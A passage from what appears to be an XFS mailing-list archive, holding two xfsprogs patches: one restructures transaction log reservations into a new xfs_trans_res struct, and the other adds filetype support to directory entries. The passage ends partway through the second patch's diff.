Jie Liu Introduce a new structure xfs_trans_res to hold transaction reservation item info per log ticket. We also need to improve xfs_trans_resv_calc() by initializing the log count as well as log flags for permanent log reservation. Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- include/libxfs.h | 2 +- include/xfs_trans_resv.h | 125 ++++++++++++++++++++++++++--------------------- libxfs/trans.c | 2 +- libxfs/xfs_trans_resv.c | 121 ++++++++++++++++++++++++++++++++++----------- mkfs/maxtrres.c | 17 ++++--- 5 files changed, 172 insertions(+), 95 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index 086cb39..e48ab70 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -203,7 +203,7 @@ typedef struct xfs_mount { int m_ialloc_blks; /* blocks in inode allocation */ int m_litino; /* size of inode union area */ int m_inoalign_mask;/* mask sb_inoalignmt if used */ - struct xfs_trans_resv m_reservations; /* precomputed res values */ + struct xfs_trans_resv m_resv; /* precomputed res values */ __uint64_t m_maxicount; /* maximum inode count */ int m_dalign; /* stripe unit */ int m_swidth; /* stripe width */ diff --git a/include/xfs_trans_resv.h b/include/xfs_trans_resv.h index cc8260e..0aac1fa 100644 --- a/include/xfs_trans_resv.h +++ b/include/xfs_trans_resv.h @@ -23,35 +23,45 @@ struct xfs_mount; /* * structure for maintaining pre-calculated transaction reservations. */ +struct xfs_trans_res { + uint tr_logres; /* log space unit in bytes per log ticket */ + int tr_logcount; /* number of log operations per log ticket */ + int tr_logflags; /* log flags, currently only used for indicating + * a reservation request is permanent or not */ +}; + struct xfs_trans_resv { - uint tr_write; /* extent alloc trans */ - uint tr_itruncate; /* truncate trans */ - uint tr_rename; /* rename trans */ - uint tr_link; /* link trans */ - uint tr_remove; /* unlink trans */ - uint tr_symlink; /* symlink trans */ - uint tr_create; /* create trans */ - uint tr_mkdir; /* mkdir trans */ - uint tr_ifree; /* inode free trans */ - uint tr_ichange; /* inode update trans */ - uint tr_growdata; /* fs data section grow trans */ - uint tr_swrite; /* sync write inode trans */ - uint tr_addafork; /* cvt inode to attributed trans */ - uint tr_writeid; /* write setuid/setgid file */ - uint tr_attrinval; /* attr fork buffer invalidation */ - uint tr_attrsetm; /* set/create an attribute at mount time */ - uint tr_attrsetrt; /* set/create an attribute at runtime */ - uint tr_attrrm; /* remove an attribute */ - uint tr_clearagi; /* clear bad agi unlinked ino bucket */ - uint tr_growrtalloc; /* grow realtime allocations */ - uint tr_growrtzero; /* grow realtime zeroing */ - uint tr_growrtfree; /* grow realtime freeing */ - uint tr_qm_sbchange; /* change quota flags */ - uint tr_qm_setqlim; /* adjust quota limits */ - uint tr_qm_dqalloc; /* allocate quota on disk */ - uint tr_qm_quotaoff; /* turn quota off */ - uint tr_qm_equotaoff;/* end of turn quota off */ - uint tr_sb; /* modify superblock */ + struct xfs_trans_res tr_write; /* extent alloc trans */ + struct xfs_trans_res tr_itruncate; /* truncate trans */ + struct xfs_trans_res tr_rename; /* rename trans */ + struct xfs_trans_res tr_link; /* link trans */ + struct xfs_trans_res tr_remove; /* unlink trans */ + struct xfs_trans_res tr_symlink; /* symlink trans */ + struct xfs_trans_res tr_create; /* create trans */ + struct xfs_trans_res tr_mkdir; /* mkdir trans */ + struct xfs_trans_res tr_ifree; /* inode free trans */ + struct xfs_trans_res tr_ichange; /* inode update trans */ + struct xfs_trans_res tr_growdata; /* fs data section grow trans */ + struct xfs_trans_res tr_swrite; /* sync write inode trans */ + struct xfs_trans_res tr_addafork; /* add inode attr fork trans */ + struct xfs_trans_res tr_writeid; /* write setuid/setgid file */ + struct xfs_trans_res tr_attrinval; /* attr fork buffer + * invalidation */ + struct xfs_trans_res tr_attrsetm; /* set/create an attribute at + * mount time */ + struct xfs_trans_res tr_attrsetrt; /* set/create an attribute at + * runtime */ + struct xfs_trans_res tr_attrrm; /* remove an attribute */ + struct xfs_trans_res tr_clearagi; /* clear agi unlinked bucket */ + struct xfs_trans_res tr_growrtalloc; /* grow realtime allocations */ + struct xfs_trans_res tr_growrtzero; /* grow realtime zeroing */ + struct xfs_trans_res tr_growrtfree; /* grow realtime freeing */ + struct xfs_trans_res tr_qm_sbchange; /* change quota flags */ + struct xfs_trans_res tr_qm_setqlim; /* adjust quota limits */ + struct xfs_trans_res tr_qm_dqalloc; /* allocate quota on disk */ + struct xfs_trans_res tr_qm_quotaoff; /* turn quota off */ + struct xfs_trans_res tr_qm_equotaoff;/* end of turn quota off */ + struct xfs_trans_res tr_sb; /* modify superblock */ }; /* @@ -79,39 +89,40 @@ struct xfs_trans_resv { XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1) -#define XFS_WRITE_LOG_RES(mp) ((mp)->m_reservations.tr_write) -#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_reservations.tr_itruncate) -#define XFS_RENAME_LOG_RES(mp) ((mp)->m_reservations.tr_rename) -#define XFS_LINK_LOG_RES(mp) ((mp)->m_reservations.tr_link) -#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_reservations.tr_remove) -#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_reservations.tr_symlink) -#define XFS_CREATE_LOG_RES(mp) ((mp)->m_reservations.tr_create) -#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_reservations.tr_mkdir) -#define XFS_IFREE_LOG_RES(mp) ((mp)->m_reservations.tr_ifree) -#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_ichange) -#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_reservations.tr_growdata) -#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_growrtalloc) -#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_reservations.tr_growrtzero) -#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_reservations.tr_growrtfree) -#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) +#define XFS_WRITE_LOG_RES(mp) ((mp)->m_resv.tr_write.tr_logres) +#define XFS_RENAME_LOG_RES(mp) ((mp)->m_resv.tr_rename.tr_logres) +#define XFS_LINK_LOG_RES(mp) ((mp)->m_resv.tr_link.tr_logres) +#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_resv.tr_remove.tr_logres) +#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_resv.tr_symlink.tr_logres) +#define XFS_CREATE_LOG_RES(mp) ((mp)->m_resv.tr_create.tr_logres) +#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_resv.tr_mkdir.tr_logres) +#define XFS_IFREE_LOG_RES(mp) ((mp)->m_resv.tr_ifree.tr_logres) +#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_resv.tr_ichange.tr_logres) +#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_resv.tr_growdata.tr_logres) +#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_resv.tr_itruncate.tr_logres) +#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_resv.tr_growrtzero.tr_logres) +#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_resv.tr_growrtfree.tr_logres) +#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_resv.tr_growrtalloc.tr_logres) + /* * Logging the inode timestamps on an fsync -- same as SWRITE * as long as SWRITE logs the entire inode core */ -#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_reservations.tr_addafork) -#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_reservations.tr_attrinval) -#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetm) -#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetrt) -#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_reservations.tr_attrrm) -#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_reservations.tr_clearagi) -#define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_qm_sbchange) -#define XFS_QM_SETQLIM_LOG_RES(mp) ((mp)->m_reservations.tr_qm_setqlim) -#define XFS_QM_DQALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_qm_dqalloc) -#define XFS_QM_QUOTAOFF_LOG_RES(mp) ((mp)->m_reservations.tr_qm_quotaoff) -#define XFS_QM_QUOTAOFF_END_LOG_RES(mp) ((mp)->m_reservations.tr_qm_equotaoff) -#define XFS_SB_LOG_RES(mp) ((mp)->m_reservations.tr_sb) +#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_resv.tr_addafork.tr_logres) +#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_resv.tr_attrsetm.tr_logres) +#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_resv.tr_attrinval.tr_logres) +#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_resv.tr_attrsetrt.tr_logres) +#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_resv.tr_attrrm.tr_logres) +#define XFS_SB_LOG_RES(mp) ((mp)->m_resv.tr_sb.tr_logres) +#define XFS_QM_SETQLIM_LOG_RES(mp) ((mp)->m_resv.tr_qm_setqlim.tr_logres) +#define XFS_QM_DQALLOC_LOG_RES(mp) ((mp)->m_resv.tr_qm_dqalloc.tr_logres) +#define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_resv.tr_qm_sbchange.tr_logres) +#define XFS_QM_QUOTAOFF_LOG_RES(mp) ((mp)->m_resv.tr_qm_quotaoff.tr_logres) +#define XFS_QM_QUOTAOFF_END_LOG_RES(mp) ((mp)->m_resv.tr_qm_equotaoff.tr_logres) +#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_resv.tr_clearagi.tr_logres) /* * Various log count values. diff --git a/libxfs/trans.c b/libxfs/trans.c index d0a91b1..2fc0ecc 100644 --- a/libxfs/trans.c +++ b/libxfs/trans.c @@ -33,7 +33,7 @@ void libxfs_trans_init( struct xfs_mount *mp) { - xfs_trans_resv_calc(mp, &mp->m_reservations); + xfs_trans_resv_calc(mp, &mp->m_resv); } /* diff --git a/libxfs/xfs_trans_resv.c b/libxfs/xfs_trans_resv.c index 7a391e3..e0b8ef6 100644 --- a/libxfs/xfs_trans_resv.c +++ b/libxfs/xfs_trans_resv.c @@ -646,32 +646,97 @@ xfs_trans_resv_calc( struct xfs_mount *mp, struct xfs_trans_resv *resp) { - resp->tr_write = xfs_calc_write_reservation(mp); - resp->tr_itruncate = xfs_calc_itruncate_reservation(mp); - resp->tr_rename = xfs_calc_rename_reservation(mp); - resp->tr_link = xfs_calc_link_reservation(mp); - resp->tr_remove = xfs_calc_remove_reservation(mp); - resp->tr_symlink = xfs_calc_symlink_reservation(mp); - resp->tr_create = xfs_calc_create_reservation(mp); - resp->tr_mkdir = xfs_calc_mkdir_reservation(mp); - resp->tr_ifree = xfs_calc_ifree_reservation(mp); - resp->tr_ichange = xfs_calc_ichange_reservation(mp); - resp->tr_growdata = xfs_calc_growdata_reservation(mp); - resp->tr_swrite = xfs_calc_swrite_reservation(mp); - resp->tr_writeid = xfs_calc_writeid_reservation(mp); - resp->tr_addafork = xfs_calc_addafork_reservation(mp); - resp->tr_attrinval = xfs_calc_attrinval_reservation(mp); - resp->tr_attrsetm = xfs_calc_attrsetm_reservation(mp); - resp->tr_attrsetrt = xfs_calc_attrsetrt_reservation(mp); - resp->tr_attrrm = xfs_calc_attrrm_reservation(mp); - resp->tr_clearagi = xfs_calc_clear_agi_bucket_reservation(mp); - resp->tr_growrtalloc = xfs_calc_growrtalloc_reservation(mp); - resp->tr_growrtzero = xfs_calc_growrtzero_reservation(mp); - resp->tr_growrtfree = xfs_calc_growrtfree_reservation(mp); - resp->tr_qm_sbchange = xfs_calc_qm_sbchange_reservation(mp); - resp->tr_qm_setqlim = xfs_calc_qm_setqlim_reservation(mp); - resp->tr_qm_dqalloc = xfs_calc_qm_dqalloc_reservation(mp); - resp->tr_qm_quotaoff = xfs_calc_qm_quotaoff_reservation(mp); - resp->tr_qm_equotaoff = xfs_calc_qm_quotaoff_end_reservation(mp); - resp->tr_sb = xfs_calc_sb_reservation(mp); + /* + * The following transactions are logged in physical format and + * require a permanent reservation on space. + */ + resp->tr_write.tr_logres = xfs_calc_write_reservation(mp); + resp->tr_write.tr_logcount = XFS_WRITE_LOG_COUNT; + resp->tr_write.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_itruncate.tr_logres = xfs_calc_itruncate_reservation(mp); + resp->tr_itruncate.tr_logcount = XFS_ITRUNCATE_LOG_COUNT; + resp->tr_itruncate.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_rename.tr_logres = xfs_calc_rename_reservation(mp); + resp->tr_rename.tr_logcount = XFS_RENAME_LOG_COUNT; + resp->tr_rename.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_link.tr_logres = xfs_calc_link_reservation(mp); + resp->tr_link.tr_logcount = XFS_LINK_LOG_COUNT; + resp->tr_link.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_remove.tr_logres = xfs_calc_remove_reservation(mp); + resp->tr_remove.tr_logcount = XFS_REMOVE_LOG_COUNT; + resp->tr_remove.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_symlink.tr_logres = xfs_calc_symlink_reservation(mp); + resp->tr_symlink.tr_logcount = XFS_SYMLINK_LOG_COUNT; + resp->tr_symlink.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_create.tr_logres = xfs_calc_create_reservation(mp); + resp->tr_create.tr_logcount = XFS_CREATE_LOG_COUNT; + resp->tr_create.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_mkdir.tr_logres = xfs_calc_mkdir_reservation(mp); + resp->tr_mkdir.tr_logcount = XFS_MKDIR_LOG_COUNT; + resp->tr_mkdir.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_ifree.tr_logres = xfs_calc_ifree_reservation(mp); + resp->tr_ifree.tr_logcount = XFS_INACTIVE_LOG_COUNT; + resp->tr_ifree.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_addafork.tr_logres = xfs_calc_addafork_reservation(mp); + resp->tr_addafork.tr_logcount = XFS_ADDAFORK_LOG_COUNT; + resp->tr_addafork.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_attrinval.tr_logres = xfs_calc_attrinval_reservation(mp); + resp->tr_attrinval.tr_logcount = XFS_ATTRINVAL_LOG_COUNT; + resp->tr_attrinval.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_attrsetm.tr_logres = xfs_calc_attrsetm_reservation(mp); + resp->tr_attrsetm.tr_logcount = XFS_ATTRSET_LOG_COUNT; + resp->tr_attrsetm.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_attrrm.tr_logres = xfs_calc_attrrm_reservation(mp); + resp->tr_attrrm.tr_logcount = XFS_ATTRRM_LOG_COUNT; + resp->tr_attrrm.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_growrtalloc.tr_logres = xfs_calc_growrtalloc_reservation(mp); + resp->tr_growrtalloc.tr_logcount = XFS_DEFAULT_PERM_LOG_COUNT; + resp->tr_growrtalloc.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_qm_dqalloc.tr_logres = xfs_calc_qm_dqalloc_reservation(mp); + resp->tr_qm_dqalloc.tr_logcount = XFS_WRITE_LOG_COUNT; + resp->tr_qm_dqalloc.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + /* + * The following transactions are logged in logical format with + * a default log count. + */ + resp->tr_qm_sbchange.tr_logres = xfs_calc_qm_sbchange_reservation(mp); + resp->tr_qm_sbchange.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + resp->tr_qm_setqlim.tr_logres = xfs_calc_qm_setqlim_reservation(mp); + resp->tr_qm_setqlim.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + resp->tr_qm_quotaoff.tr_logres = xfs_calc_qm_quotaoff_reservation(mp); + resp->tr_qm_quotaoff.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + resp->tr_qm_equotaoff.tr_logres = + xfs_calc_qm_quotaoff_end_reservation(mp); + resp->tr_qm_equotaoff.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + resp->tr_sb.tr_logres = xfs_calc_sb_reservation(mp); + resp->tr_sb.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + /* The following transaction are logged in logical format */ + resp->tr_ichange.tr_logres = xfs_calc_ichange_reservation(mp); + resp->tr_growdata.tr_logres = xfs_calc_growdata_reservation(mp); + resp->tr_swrite.tr_logres = xfs_calc_swrite_reservation(mp); + resp->tr_writeid.tr_logres = xfs_calc_writeid_reservation(mp); + resp->tr_attrsetrt.tr_logres = xfs_calc_attrsetrt_reservation(mp); + resp->tr_clearagi.tr_logres = xfs_calc_clear_agi_bucket_reservation(mp); + resp->tr_growrtzero.tr_logres = xfs_calc_growrtzero_reservation(mp); + resp->tr_growrtfree.tr_logres = xfs_calc_growrtfree_reservation(mp); } diff --git a/mkfs/maxtrres.c b/mkfs/maxtrres.c index 7da83aa..b2d2a5a 100644 --- a/mkfs/maxtrres.c +++ b/mkfs/maxtrres.c @@ -47,22 +47,23 @@ max_attrsetm_trans_res_adjust( nblks += XFS_B_TO_FSB(mp, size); nblks += XFS_NEXTENTADD_SPACE_RES(mp, size, XFS_ATTR_FORK); res = XFS_ATTRSETM_LOG_RES(mp) + XFS_ATTRSETRT_LOG_RES(mp) * nblks; - mp->m_reservations.tr_attrsetm = res; + mp->m_resv.tr_attrsetm.tr_logres = res; } static int max_trans_res_by_mount( struct xfs_mount *mp) { - uint *p; - int rval; - struct xfs_trans_resv *tr = &mp->m_reservations; + struct xfs_trans_resv *tr = &mp->m_resv; + struct xfs_trans_res *p; + struct xfs_trans_res rval = {0}; - for (rval = 0, p = (uint *)tr; p < (uint *)(tr + 1); p++) { - if ((int)*p > rval) - rval = (int)*p; + for (p = (struct xfs_trans_res *)tr; + p < (struct xfs_trans_res *)(tr + 1); p++) { + if (p->tr_logres > rval.tr_logres) + rval = *p; } - return rval; + return rval.tr_logres; } int -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 000F829E48 for ; Wed, 4 Sep 2013 17:21:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E444E8F8033 for ; Wed, 4 Sep 2013 15:21:36 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f0009-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id OHb5hel55qPSsrET for ; Wed, 04 Sep 2013 15:21:34 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2lAQDqVuDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:32 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007df-H1 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003vL-Fp for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 48/55] xfs: Add write support for dirent filetype field Date: Thu, 5 Sep 2013 08:05:52 +1000 X-ASG-Orig-Subj: [PATCH 48/55] xfs: Add write support for dirent filetype field Message-Id: <1378332359-14737-49-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333294 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Add support to propagate and add filetype values into the on-disk directs. This involves passing the filetype into the xfs_da_args structure along with the name and namelength for direct operations, and encoding it into the dirent at the same time we write the inode number into the dirent. Signed-off-by: Dave Chinner --- include/xfs_sb.h | 3 ++- libxfs/xfs_dir2_block.c | 7 +++++++ libxfs/xfs_dir2_data.c | 2 ++ libxfs/xfs_dir2_leaf.c | 3 +++ libxfs/xfs_dir2_node.c | 3 +++ libxfs/xfs_dir2_sf.c | 35 +++++++++++++++++++++++++++-------- 6 files changed, 44 insertions(+), 9 deletions(-) diff --git a/include/xfs_sb.h b/include/xfs_sb.h index 8721904..1d0839a 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -594,7 +594,8 @@ xfs_sb_has_ro_compat_feature( } #define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ -#define XFS_SB_FEAT_INCOMPAT_ALL 0 +#define XFS_SB_FEAT_INCOMPAT_ALL \ + (XFS_SB_FEAT_INCOMPAT_FTYPE) #define XFS_SB_FEAT_INCOMPAT_UNKNOWN ~XFS_SB_FEAT_INCOMPAT_ALL static inline bool diff --git a/libxfs/xfs_dir2_block.c b/libxfs/xfs_dir2_block.c index 615eea9..3e4bc53 100644 --- a/libxfs/xfs_dir2_block.c +++ b/libxfs/xfs_dir2_block.c @@ -530,6 +530,7 @@ xfs_dir2_block_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, args->namelen); + xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* @@ -622,6 +623,7 @@ xfs_dir2_block_lookup( * Fill in inode number, CI name if appropriate, release the block. */ args->inumber = be64_to_cpu(dep->inumber); + args->filetype = xfs_dir3_dirent_get_ftype(mp, dep); error = xfs_dir_cilookup_result(args, dep->name, dep->namelen); xfs_trans_brelse(args->trans, bp); return XFS_ERROR(error); @@ -854,6 +856,7 @@ xfs_dir2_block_replace( * Change the inode number to the new value. */ dep->inumber = cpu_to_be64(args->inumber); + xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); xfs_dir2_data_log_entry(args->trans, bp, dep); xfs_dir3_data_check(dp, bp); return 0; @@ -1140,6 +1143,7 @@ xfs_dir2_sf_to_block( dep->inumber = cpu_to_be64(dp->i_ino); dep->namelen = 1; dep->name[0] = '.'; + xfs_dir3_dirent_put_ftype(mp, dep, XFS_DIR3_FT_DIR); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); @@ -1153,6 +1157,7 @@ xfs_dir2_sf_to_block( dep->inumber = cpu_to_be64(xfs_dir2_sf_get_parent_ino(sfp)); dep->namelen = 2; dep->name[0] = dep->name[1] = '.'; + xfs_dir3_dirent_put_ftype(mp, dep, XFS_DIR3_FT_DIR); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); @@ -1200,6 +1205,8 @@ xfs_dir2_sf_to_block( dep = (xfs_dir2_data_entry_t *)((char *)hdr + newoffset); dep->inumber = cpu_to_be64(xfs_dir3_sfe_get_ino(mp, sfp, sfep)); dep->namelen = sfep->namelen; + xfs_dir3_dirent_put_ftype(mp, dep, + xfs_dir3_sfe_get_ftype(mp, sfp, sfep)); memcpy(dep->name, sfep->name, dep->namelen); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c index ea9ba91..189699f 100644 --- a/libxfs/xfs_dir2_data.c +++ b/libxfs/xfs_dir2_data.c @@ -133,6 +133,8 @@ __xfs_dir3_data_check( XFS_WANT_CORRUPTED_RETURN( be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) == (char *)dep - (char *)hdr); + XFS_WANT_CORRUPTED_RETURN( + xfs_dir3_dirent_get_ftype(mp, dep) < XFS_DIR3_FT_MAX); count++; lastfree = 0; if (hdr->magic == cpu_to_be32(XFS_DIR2_BLOCK_MAGIC) || diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index 04ad083..7ec2f19 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -878,6 +878,7 @@ xfs_dir2_leaf_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); + xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* @@ -1207,6 +1208,7 @@ xfs_dir2_leaf_lookup( * Return the found inode number & CI name if appropriate */ args->inumber = be64_to_cpu(dep->inumber); + args->filetype = xfs_dir3_dirent_get_ftype(dp->i_mount, dep); error = xfs_dir_cilookup_result(args, dep->name, dep->namelen); xfs_trans_brelse(tp, dbp); xfs_trans_brelse(tp, lbp); @@ -1537,6 +1539,7 @@ xfs_dir2_leaf_replace( * Put the new inode number in, log it. */ dep->inumber = cpu_to_be64(args->inumber); + xfs_dir3_dirent_put_ftype(dp->i_mount, dep, args->filetype); tp = args->trans; xfs_dir2_data_log_entry(tp, dbp, dep); xfs_dir3_leaf_check(dp->i_mount, lbp); diff --git a/libxfs/xfs_dir2_node.c b/libxfs/xfs_dir2_node.c index 15b1eb6..6a245e5 100644 --- a/libxfs/xfs_dir2_node.c +++ b/libxfs/xfs_dir2_node.c @@ -798,6 +798,7 @@ xfs_dir2_leafn_lookup_for_entry( xfs_trans_brelse(tp, state->extrablk.bp); args->cmpresult = cmp; args->inumber = be64_to_cpu(dep->inumber); + args->filetype = xfs_dir3_dirent_get_ftype(mp, dep); *indexp = index; state->extravalid = 1; state->extrablk.bp = curbp; @@ -1989,6 +1990,7 @@ xfs_dir2_node_addname_int( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); + xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, dbp, dep); @@ -2209,6 +2211,7 @@ xfs_dir2_node_replace( * Fill in the new inode number and log the entry. */ dep->inumber = cpu_to_be64(inum); + xfs_dir3_dirent_put_ftype(state->mp, dep, args->filetype); xfs_dir2_data_log_entry(args->trans, state->extrablk.bp, dep); rval = 0; } diff --git a/libxfs/xfs_dir2_sf.c b/libxfs/xfs_dir2_sf.c index 2791d99..740cab0 100644 --- a/libxfs/xfs_dir2_sf.c +++ b/libxfs/xfs_dir2_sf.c @@ -316,6 +316,8 @@ xfs_dir2_block_to_sf( memcpy(sfep->name, dep->name, dep->namelen); xfs_dir3_sfe_put_ino(mp, sfp, sfep, be64_to_cpu(dep->inumber)); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, + xfs_dir3_dirent_get_ftype(mp, dep)); sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } @@ -479,6 +481,8 @@ xfs_dir2_sf_addname_easy( xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ftype(dp->i_mount, sfp, sfep, args->filetype); + /* * Update the header and inode. */ @@ -572,6 +576,7 @@ xfs_dir2_sf_addname_hard( xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); xfs_dir3_sfe_put_ino(mp, sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, args->filetype); sfp->count++; #if XFS_BIG_INUMS if (args->inumber > XFS_DIR2_MAX_SHORT_INUM && !objchange) @@ -808,6 +813,7 